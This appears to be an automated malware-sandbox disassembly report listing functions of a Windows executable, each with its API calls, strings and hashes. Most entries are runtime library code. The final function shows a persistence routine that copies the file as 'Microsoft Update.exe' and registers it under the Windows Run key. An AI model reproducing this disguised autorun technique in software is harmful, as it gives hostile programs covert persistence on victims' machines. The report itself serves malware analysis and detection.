Part of subcall function 00007FF6A72AEC00: RtlFreeHeap.NTDLL(?,?,00007FF6A72ADEA3,00007FF6A72B97F6,?,?,?,00007FF6A72B9B73,?,?,00000000,00007FF6A72BA0F9,?,?,?,00007FF6A72BA02B), ref: 00007FF6A72AEC16
Part of subcall function 00007FF6A72AEC00: GetLastError.KERNEL32(?,?,00007FF6A72ADEA3,00007FF6A72B97F6,?,?,?,00007FF6A72B9B73,?,?,00000000,00007FF6A72BA0F9,?,?,?,00007FF6A72BA02B), ref: 00007FF6A72AEC20

Part of subcall function 00007FF6A72BD4D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72BD50B

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ErrorHeapLast$AllocFree_invalid_parameter_noinfo
String ID:
API String ID: 916656526-0
Opcode ID: 7f1fd89a7ee4026113460091680573688d7d08a94763cc3631ee10057445ded9
Instruction ID: 0879e50da8dc36628c00bd2adab80eaeb8bf52f877a98257f4de0ea367526c99
Opcode Fuzzy Hash: 7f1fd89a7ee4026113460091680573688d7d08a94763cc3631ee10057445ded9
Instruction Fuzzy Hash: 34418231B0B68342FA719F676A517BAA691AFD5B80F444535DE4DCBB8BEE3CF4018600

Function 00007FF6A72B1254 Relevance: 1.3, Strings: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Strings

EnumSystemLocalesEx, xrefs: 00007FF6A72B1282, 00007FF6A72B1290

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID: EnumSystemLocalesEx
API String ID: 0-2492367753
Opcode ID: 5374326e0d263465f286fd72c5d1efeabb6ac05f6cff7d07b6587e465154e3a1
Instruction ID: 50397efe0cb7dd13c682f61116b986b8356f2db876b4371ee6c54c8dc545f80b
Opcode Fuzzy Hash: 5374326e0d263465f286fd72c5d1efeabb6ac05f6cff7d07b6587e465154e3a1
Instruction Fuzzy Hash: 82114C32A0AB8682DA40CF10E6400AAB360FB947A0F544236EAAD8379DDF3CF545CB40

Function 00007FF6A72BB820 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6A72BB824

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: f895b3abbd8c7357d7cc89079a1fb33e7e6877ce35c144869ba0d0d0f7c596dd
Instruction ID: a7f22b2b8695123173dd7e528ace94ad3b5cbb5af701f712f7af6891872d50f1
Opcode Fuzzy Hash: f895b3abbd8c7357d7cc89079a1fb33e7e6877ce35c144869ba0d0d0f7c596dd
Instruction Fuzzy Hash: 11B09221F27A82C2EA082F126D8221522E8BF58711F988438C04D81325EE3C21A94B01

Function 00007FF6A72A83C8 Relevance: .4, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e6486acfc842c04e4689af57937e35be297a7a355209f51f53331a1af50d678
Instruction ID: ef21b66b88032952e83115d35cfcacd654bafdffc7e3dbc4a025e1dacb44e2d3
Opcode Fuzzy Hash: 2e6486acfc842c04e4689af57937e35be297a7a355209f51f53331a1af50d678
Instruction Fuzzy Hash: D7E1BF36B0A64689EB668F28C6442BD37A1FB45B98F144236CE5D877DDCF39E881C740

Function 00007FF6A72ACAF4 Relevance: .3, Instructions: 310COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: NameTranslate$CodePageValid_invalid_parameter_noinfo
String ID:
API String ID: 4003095782-0
Opcode ID: 78ba31873743db9b1a3ec1db307a03dd4e087e4d6687857b4c182b4f1b1f218e
Instruction ID: b8d38677a281e864b437b5de075cd76884357cd5429f419592192497e35c29b6
Opcode Fuzzy Hash: 78ba31873743db9b1a3ec1db307a03dd4e087e4d6687857b4c182b4f1b1f218e
Instruction Fuzzy Hash: EEC1B667A0A68285EB649F619A107FA67A1FBD4B88F404036DE8DC778DDF3CE585C700

Function 00007FF6A72BA4C0 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2ffca6bc473a2b8654cc986790043d39bdea4d7a0db4787774d6f2c693a7d141
Instruction ID: 44a2e1e8c920cb11fc930a35bd812d24fdeb9b25c7b079fe9f8ed65264753f49
Opcode Fuzzy Hash: 2ffca6bc473a2b8654cc986790043d39bdea4d7a0db4787774d6f2c693a7d141
Instruction Fuzzy Hash: A2B1C232A0A64686EB64DF20C6516BA33B1FB94B88F048235DA5DD36CEDF3CF5558740

Function 00007FF6A72B48B0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfe085cb7b24bc01de9e73fc85af341737ddc4af5c3eb633b444d033626b6ef9
Instruction ID: f062f9ea256093b8e57041de621b7b0eda4cd836d59d0fd31fed5bceb206ee97
Opcode Fuzzy Hash: cfe085cb7b24bc01de9e73fc85af341737ddc4af5c3eb633b444d033626b6ef9
Instruction Fuzzy Hash: 9C91E726D1EF8581E6628F74A69037B6261FFD5750F144331DB5DA62EADF3CF8918200

Function 00007FF6A72A93B8 Relevance: .2, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9f3cc8a866b3f5c2403b3d5c9cf783fd5259e8c394bcba368121e72de8246d61
Instruction ID: f42ac3b448d5f12c93fad156f7ae93e6ba1711915d4d5c7042ea5ebd58de1e5f
Opcode Fuzzy Hash: 9f3cc8a866b3f5c2403b3d5c9cf783fd5259e8c394bcba368121e72de8246d61
Instruction Fuzzy Hash: A481B372A06A5186EB64CF2AD6953BD23A0FB84B98F544636EF5EC779DCF38D0418340

Function 00007FF6A72B3B28 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f681e5e1fc81f88e0504a75bce174111072dbb26f490901f664980e7d32a6707
Instruction ID: fdf58c52ba49da22bd433fb6c95d02ae4af6f79b29e749905b54ab59308b6219
Opcode Fuzzy Hash: f681e5e1fc81f88e0504a75bce174111072dbb26f490901f664980e7d32a6707
Instruction Fuzzy Hash: 6D81F572A0978186EB74CF19964037A7A94FB85794F544239DA9D87B9FCF3DF4408B00

Function 00007FF6A72BD874 Relevance: .2, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 084ff7f8d0d90f9041802d04312c7090e5741f0fbc430a2f60db1ca272a4e2d1
Instruction ID: 104205878d23c85761212ec2e9632edec6d33da051aadc44aa0298de65d7a257
Opcode Fuzzy Hash: 084ff7f8d0d90f9041802d04312c7090e5741f0fbc430a2f60db1ca272a4e2d1
Instruction Fuzzy Hash: 2E61D222E1E68246FB688F7886503BD6681AFC0770F184639DA5DCA7CBDE7DF9008700

Function 00007FF6A72A7894 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9c3f90e6787dc6e65e60abd648d80575bcfa0207306300bab00d1ff848a11e7
Instruction ID: 2e26749255f051ad877ebf72fb9ba0b96eaa9b9b4ae2ea952be4cf69a2f1eacd
Opcode Fuzzy Hash: c9c3f90e6787dc6e65e60abd648d80575bcfa0207306300bab00d1ff848a11e7
Instruction Fuzzy Hash: EC51C736B1A65286E7648F29C14073837A1EB48F58F245132CE8C97799CF3AED53C788

Function 00007FF6A72A7690 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45278502b4de115ed76afef2690a2838d0b28876f14c66dd069eb4612fa83dd3
Instruction ID: 0b229cdd5b49fd1d49408c28dcb7c2e88a8b68ee2957e95e0d78326bbbb1aa78
Opcode Fuzzy Hash: 45278502b4de115ed76afef2690a2838d0b28876f14c66dd069eb4612fa83dd3
Instruction Fuzzy Hash: 01518F36A2A65186E7258F29D65033C37A1EB94F58F284131CE4D977ACCF3AE843C784

Function 00007FF6A72A748C Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac8362b94cbf271fd23ce0d6965fdbbec26e6817efc2dd1af2fcdc0b4ee58872
Instruction ID: d897017a22a5a3f86e41545c4aa197870aabdef6fc5397af11047d6e9772eb94
Opcode Fuzzy Hash: ac8362b94cbf271fd23ce0d6965fdbbec26e6817efc2dd1af2fcdc0b4ee58872
Instruction Fuzzy Hash: C051C176A1AA5186EB248F28C25033D37A0EB54F58F248135CE4D87798DF3AEC43C784

Function 00007FF6A72ADDEC Relevance: .1, Instructions: 125COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1fe081f794c38b05c799535214fafb51afff07a9ef7f27ddf49725ebd172a6fa
Instruction ID: c8e02dcb4b878410e23e2b31d3d081293385f1321dedb348a340cd4fe251229e
Opcode Fuzzy Hash: 1fe081f794c38b05c799535214fafb51afff07a9ef7f27ddf49725ebd172a6fa
Instruction Fuzzy Hash: E0419262715A5581EF48CF6ADA651A9B3A1FB58FD0F499036EE0EC7B5CEE3CD4428300

Function 00007FF6A72BFEF0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa74e637a4a8771ce3b53d1a7bd30ba2585a1649d9579983064cfd3b287d38e3
Instruction ID: 7bbbc9e79a3b2f211afcb685ef9bc0cc709b88cd15596f683bf67b2b2cba1e44
Opcode Fuzzy Hash: fa74e637a4a8771ce3b53d1a7bd30ba2585a1649d9579983064cfd3b287d38e3
Instruction Fuzzy Hash: EC11E5B2B1E5928AF7AACF29951133936D0EB49388F448039E44CC66CACE7CF4908F04

Function 00007FF6A72A001C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e792e2d1735d8f988fef12600200a1b1d606fd932720e230b572a70469bc88ff
Instruction ID: 32ea897cc5769df874e7deb2caba67dc5729b766911b71592d8ef0e6ad8568bd
Opcode Fuzzy Hash: e792e2d1735d8f988fef12600200a1b1d606fd932720e230b572a70469bc88ff
Instruction Fuzzy Hash: A6A00221A1FC02DCE6668F01EA601B12334FB61341F401471D40DC50A9EF7CF400C302

Function 00007FF6A72AE378 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 490COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72AE3BC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72AE7A3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72AEA56

Strings

p, xrefs: 00007FF6A72AE4E6
p, xrefs: 00007FF6A72AE46E
f, xrefs: 00007FF6A72AE4DE

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: ff841ab414017906a4ce9677fad038f52bef3835973e217c03f7dbe0c29fd723
Instruction ID: fead2a089984944933a6ed678e57ec999de3f65c523c1c59d1beea90ac4c1d3a
Opcode Fuzzy Hash: ff841ab414017906a4ce9677fad038f52bef3835973e217c03f7dbe0c29fd723
Instruction Fuzzy Hash: 0E12C472E0E24386FB64AF15E25667A7692FB80750F944035E78A876DCDF3CE5828B00

Function 00007FF6A72A1E7C Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 318COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6A72A4290: __GetUnwindTryBlock.LIBCMT ref: 00007FF6A72A42D3
Part of subcall function 00007FF6A72A4290: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6A72A42FB

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6A72A1FB1
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6A72A2208
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6A72A231E

Strings

csm, xrefs: 00007FF6A72A1FD4
csm, xrefs: 00007FF6A72A1F5A
csm, xrefs: 00007FF6A72A1EF3

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: BlockUnwind$CatchExecutionFrameHandler3::Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 910750162-393685449
Opcode ID: 45d9d0d55b7ba5167f486cb8cf36cdf1559fe326e8a5922f4952d0472621adce
Instruction ID: 86272e01b03326413573f1d69a0da2f821b667f6f1a403dafb1148fb78bbd467
Opcode Fuzzy Hash: 45d9d0d55b7ba5167f486cb8cf36cdf1559fe326e8a5922f4952d0472621adce
Instruction Fuzzy Hash: CDE18E32A09B828AEB60DF65D6403AD77A0FB85798F104135EF4D97B9ADF38E181C744

Function 00007FF6A72B2760 Relevance: 10.8, APIs: 7, Instructions: 293COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A72B2B9F

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7dba511170830a9929f886f911ae688b8a2d843805899a11899813843bf1fd4e
Instruction ID: 9a2088c3029267f796de680f2c1c4d74456db8d170f22d8cc65dd5df6de4bbc5
Opcode Fuzzy Hash: 7dba511170830a9929f886f911ae688b8a2d843805899a11899813843bf1fd4e
Instruction Fuzzy Hash: 9AC1D122A0EB8751E6619F1496002BE7BE0FFC5B90F594131EA4E8739ADF7CF8458318

Function 00007FF6A729873E Relevance: 10.7, APIs: 7, Instructions: 166COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A7298A55
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A7298A5B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A7298A61
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A7298A67
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A7298A6D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A7298A73
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6A7298A79

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: e4ee503c17faa7a148227be770ebf10ad84d0e4e1a93e7212e910e4d581ae89f
Instruction ID: a78f52b3eb359e07ad895766cf137c982466c1531766b303831bc048136bb72c
Opcode Fuzzy Hash: e4ee503c17faa7a148227be770ebf10ad84d0e4e1a93e7212e910e4d581ae89f
Instruction Fuzzy Hash: 5E617373F1A7C640ED219FA5E6582FE9311AFD97A0F185735D6AC86ACDDE2CE080C640

Function 00007FF6A7293534 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 102registryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6A72931C4: SHGetFolderPathW.SHELL32 ref: 00007FF6A729320C

CopyFileW.KERNEL32 ref: 00007FF6A72935E5
RegOpenKeyExW.ADVAPI32 ref: 00007FF6A729362B
RegSetValueExW.ADVAPI32 ref: 00007FF6A7293679
RegCloseKey.ADVAPI32 ref: 00007FF6A729368A

Strings

\Microsoft Update.exe, xrefs: 00007FF6A72935A3
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF6A7293613

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: CloseCopyFileFolderOpenPathValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run$\Microsoft Update.exe
API String ID: 116070201-3429284611
